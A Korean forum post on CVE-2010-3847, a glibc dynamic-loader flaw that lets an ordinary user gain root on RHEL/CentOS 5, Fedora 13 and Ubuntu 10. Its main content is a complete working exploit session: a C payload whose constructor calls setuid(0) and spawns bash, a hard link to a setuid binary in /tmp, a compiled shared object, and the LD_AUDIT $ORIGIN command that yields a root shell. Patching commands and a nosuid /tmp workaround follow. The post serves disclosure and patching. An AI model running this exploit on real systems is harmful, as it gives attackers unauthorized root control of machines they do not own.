오늘 새벽에 날라온 메일의 취약성입니다.
문서번호는 CVE-2010-3847로 해당 취약성은 sticky bit를 가지는 명령어(ping,passwd등.. )를 다이나믹 링크(ld.so)를 통해 실행하면서 발견된 문제로 , 일반계정 사용자가 쉽게 이 취약성을 이용해 root계정을 획득하게되는 중요한 보안 이슈 입니다.
실제 패키지는 glibc상의 소스코드상의 취약성입니다.
아래는 일반계정으로 root계정을 득하는 예제입니다.
RHEL 5와 RHEL 6(CENT OS 포함)에서 모두 가능합니다.
성공적으로 이 취약성을 이용하려면 SUID또는 SGID 바이너리가 공격자가 해당 디렉토리를 쓰는 권한을 가지고 같은 파일시스템에 위치해야 한다. 예를 들어 , /tmp와 /usr 이 둘다 / 상에 올라가 있다면 필요한 조건이 충족된 것이고, glibc 라이브러리 로더는 수정된 코드를 로딩하여 속일 수 있고 실행할 수 있는 SUID또는 SGID의 권한 으로 실행될 수 있다.
>>> 이 취약성에 해당되는 버젼(Tested)
RedHat Enterprise Server 5.x
CentOS 5.x
페도라 13
Ubuntu 10
http://seclists.org/fulldisclosure/2010/Oct/257
CVE-2010-3847
>>>취약성 점검 방법(root 권한 획득)
우선 일반계정으로 SSH또는 TELNET등으로 접속 한후 아래의 진행
$ cd /tmp
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D (ctrl +d)
$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target (deleted)
$ cat payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
gcc: spec failure: unrecognized spec option 'M'
gcc: spec failure: unrecognized spec option 'M'
# LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
# whoami
root
이제 ROOT권한을 획득하였음.
>>> 이에 대한 해결안 대략 2가지
1. 보통 두가지 해당 패키지를 YUM으로 업데이트 할것
2. sticky bit 가 있는 바이러리 디렉토리와 사용자가 쓸 수 있는 디렉토리를 파티션으로 분리할 것
>>> 주의사항
- 이 패치를 위해서는 RHN을 사용할 수 있어야 합니다.
>>> 관련 글
How can I apply security patches for a Red Hat Enterprise Linux system not connected on RHN or the internet?
https://access.redhat.com/kb/docs/DOC-17189
>>> On a Red Hat Enterprise Linux 5 machine, is it possible to limit yum so that it lists or installs only security updates?
https://access.redhat.com/kb/docs/DOC-10022
How do I know if a CVE name affects a Red Hat Enterprise Linux package?
https://access.redhat.com/kb/docs/DOC-11331
첫댓글 참고 : http://cafe.daum.net/redhat/D4GV/18
>>> 패치방법
yum install yum-security
yum update --cve CVE-2010-3847
좋은 정보 감사 합니다... 퍼갑니다~~~
사용자가 nosuid 없이 마운트된 파일시스템에 파일을 만드는 것으로부터 방지하는 임시적인 방법입니다.
이는 우회할 수 있는 방법이 있으므로 임시적인 방법입니다.
# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp